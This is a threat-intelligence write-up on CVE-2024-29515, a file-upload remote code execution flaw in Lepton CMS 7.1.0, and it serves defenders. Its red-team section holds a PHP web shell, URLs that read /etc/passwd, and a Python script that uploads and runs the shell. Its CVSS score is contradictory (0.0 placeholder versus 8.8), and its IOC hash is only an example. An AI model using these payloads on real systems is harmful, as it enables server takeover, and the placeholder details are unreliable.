CVE-2024-29515

Executive Summary

CVE-2024-29515 is a critical file upload vulnerability in Lepton v7.1.0 that allows a remote authenticated attacker to execute arbitrary code on the web server. The flaw resides in the save.php and config.php components, which fail to properly validate uploaded file types. An attacker with valid credentials can upload a crafted PHP file, leading to remote code execution (RCE) with the privileges of the web server process. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and potential for full server compromise. No official patch or advisory has been released by the vendor at this time.

Supply Chain & Package Security

Lepton is a PHP-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. Users should verify the integrity of their Lepton installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows authenticated users to upload arbitrary PHP files, leading to full remote code execution. Given the low complexity and network-based attack vector, this is a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of Lepton v7.1.0. The save.php and config.php scripts handle file uploads without proper validation of the file extension or MIME type. An authenticated attacker can upload a PHP web shell (e.g., shell.php) to the server's web root or an accessible directory. Once uploaded, the attacker can access the file directly via a web browser, executing arbitrary PHP code.

Root Cause: The application does not check the file extension against a whitelist of allowed types (e.g., images only). Additionally, there is no verification of the file's content (magic bytes) to ensure it matches the declared type.

Attack Flow:

1. Attacker authenticates to the Lepton admin panel.
2. Attacker navigates to the file upload functionality (e.g., media manager or configuration upload).
3. Attacker uploads a PHP file containing malicious code (e.g., <?php system($_GET['cmd']); ?>).
4. The file is stored on the server (e.g., /uploads/shell.php).
5. Attacker accesses the uploaded file via HTTP, passing commands as parameters.
6. The server executes the PHP code, granting the attacker remote control.

Vulnerable vs. Patched Code

Vulnerable Code (Lepton v7.1.0):

// save.php (simplified)
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
}

No file type validation is performed.

Patched Code (Hypothetical):

// save.php (patched)
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES["file"]["tmp_name"]);
$file_ext = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
$allowed_exts = ['jpg', 'jpeg', 'png', 'gif'];

if (in_array($file_type, $allowed_types) && in_array($file_ext, $allowed_exts)) {
    $target_file = $target_dir . uniqid() . '.' . $file_ext;
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        echo "File uploaded successfully.";
    }
} else {
    echo "Invalid file type.";
}

The patched version validates both MIME type and file extension, and renames the file to prevent direct execution of PHP code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Lepton v7.1.0 installed and running.
• Valid admin credentials (e.g., admin:password).

Exploit Steps:

1. Log in to the Lepton admin panel.
2. Identify the file upload endpoint (e.g., /admin/save.php).
3. Create a PHP web shell:

   <?php system($_GET['cmd']); ?>
   

   Save as shell.php.
4. Upload the file via the admin interface.
5. Access the uploaded file:

   http://target.com/uploads/shell.php?cmd=id
   

6. Execute commands:

   http://target.com/uploads/shell.php?cmd=cat /etc/passwd
   

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin/login.php", data=login_data)

# Upload shell
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(f"{target}/admin/save.php", files=files)

# Execute command
r = session.get(f"{target}/uploads/shell.php?cmd=id")
print(r.text)

Blue Team

Detection:

• Monitor file upload directories for unexpected PHP files.
• Alert on file uploads with .php, .phtml, .php5 extensions.
• Review web server logs for requests to /uploads/*.php with query parameters.

Hunting:

• Search for files in uploads/ directory that are not images.
• Check for recent modifications to save.php or config.php.

Lab Setup:

1. Install Lepton v7.1.0 on a local VM.
2. Enable detailed logging in Apache/Nginx.
3. Simulate the attack and capture logs.
4. Use the detection rules below to identify the malicious activity.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • HTTP requests to /uploads/*.php with query parameters (e.g., ?cmd=id).
  • POST requests to /admin/save.php with Content-Type: multipart/form-data and a file named *.php.
• File System Indicators:
  • Presence of PHP files in the uploads/ directory.
  • Unexpected files with .php extension in web-accessible directories.
• Log Patterns:
  • Apache/Nginx access log entries: POST /admin/save.php HTTP/1.1 followed by GET /uploads/shell.php?cmd=... HTTP/1.1.

Detection Engineering

YARA Rule

rule CVE_2024_29515_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-29515"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-29515"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
        $post_param = "$_POST['cmd']"
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param or $post_param)
}

Sigma Rule

title: CVE-2024-29515 - File Upload to RCE in Lepton
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file upload attempts to Lepton save.php and subsequent access to uploaded PHP files.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-stem: '/admin/save.php'
        sc-status: 200
    selection_access:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/uploads/'
        cs-uri-stem|endswith: '.php'
    condition: selection_upload followed by selection_access within 60 seconds
falsepositives:
    - Legitimate PHP file uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29515 - Lepton File Upload to RCE"; flow:to_server,established; content:"POST"; http_method; content:"/admin/save.php"; http_uri; content:"filename="; http_client_body; pcre:"/\.php[\x22\x27]/"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-29515 - Web Shell Access"; flow:to_client,established; content:"GET"; http_method; content:"/uploads/"; http_uri; content:".php"; http_uri; pcre:"/\?cmd=/"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality in Lepton until a patch is available.
2. Restrict upload directory permissions to prevent execution of PHP files (e.g., add php_flag engine off in .htaccess for the uploads directory).
3. Implement a Web Application Firewall (WAF) rule to block file uploads with .php extensions.
4. Review and remove any suspicious files from the uploads directory.

Long-term Fix:

• Apply input validation and sanitization to the file upload functionality.
• Whitelist allowed file extensions (e.g., jpg, png, gif).
• Rename uploaded files to prevent direct execution (e.g., use a hash-based filename).
• Store uploaded files outside the web root and serve them via a download script.
• Monitor for official patches from the Lepton project.

Workaround:

• Modify the .htaccess file in the uploads directory:

  <FilesMatch "\.php$">
      Deny from all
  </FilesMatch>
  

Valters IT
DevSecOps & Cyber Threat Intelligence